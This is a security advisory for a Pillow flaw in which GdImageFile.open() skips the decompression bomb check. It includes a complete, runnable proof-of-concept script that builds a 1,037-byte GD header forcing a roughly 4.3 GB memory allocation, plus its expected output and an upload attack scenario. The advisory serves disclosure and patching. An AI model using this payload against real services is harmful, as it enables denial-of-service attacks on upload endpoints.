GHSA-phj9-mv4w-65pm Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`

• PyPI pillow: < 12.3.0 → fixed in 12.3.0

Description `PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is not registered with `Image.register_open()`, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection. Vulnerable code (`PIL/GdImageFile.py` lines 50–61): ```python def _open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self._mode = "P" self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO _decompression_bomb_check() call here ← ... self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")] ``` When `load()` is subsequently called on the returned image object: ```python load() → load_prepare() → Image.core.new("P", (65535, 65535)) ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this ``` Dimension arithmetic: | Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 × 65,535 = 4,294,836,225 | | `DecompressionBombError` threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) | | Overshoot ratio | 24× above DecompressionBombError threshold | | Memory at max dimensions | ≈ 4.3 GB (palette-mode: 1 byte/pixel) | | Minimum attack file size | 1,037 bytes (header only — no pixel data needed) | Comparison with safe sibling plugin (`WalImageFile`): `WalImageFile` is in the same category — not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix: ```python PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self._size = i32(header, 32), i32(header, 36) Image._decompression_bomb_check(self.size) # ← present ``` `GdImageFile` was never updated to match, leaving a gap in protection. Steps to reproduce Proof of Concept script: ```python !/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image Build minimal 1037-byte GD 2.x palette-mode header: sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height true_color = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colors_used = b"\x00\x00" palette_data = b"\x00" * 1024 header = sig + w + h + true_color + tindex + colors_used + palette_data assert len(header) == 1037 Confirm: standard Image.open() path BLOCKS this size try: Image._decompression_bomb_check((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}") Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked") Trigger load_prepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted") print(f"\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only") ``` Expected output: ``` [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No _decompression_bomb_check called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted [MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only ``` Verified live on Pillow 12.2.0. Two attack paths: | Path | File size | Effect | |---|---|---| | Transient (header only) | 1,037 bytes | `load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike | | Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime | For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file. Real-world scenario: ```python from PIL import GdImageFile Application accepts user-uploaded .gd files img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation ``` Impact • Availability: HIGH — a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. • Confidentiality: None • Integrity: None • Authentication required: No — any public endpoint accepting image uploads is affected • User interaction: None Any service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.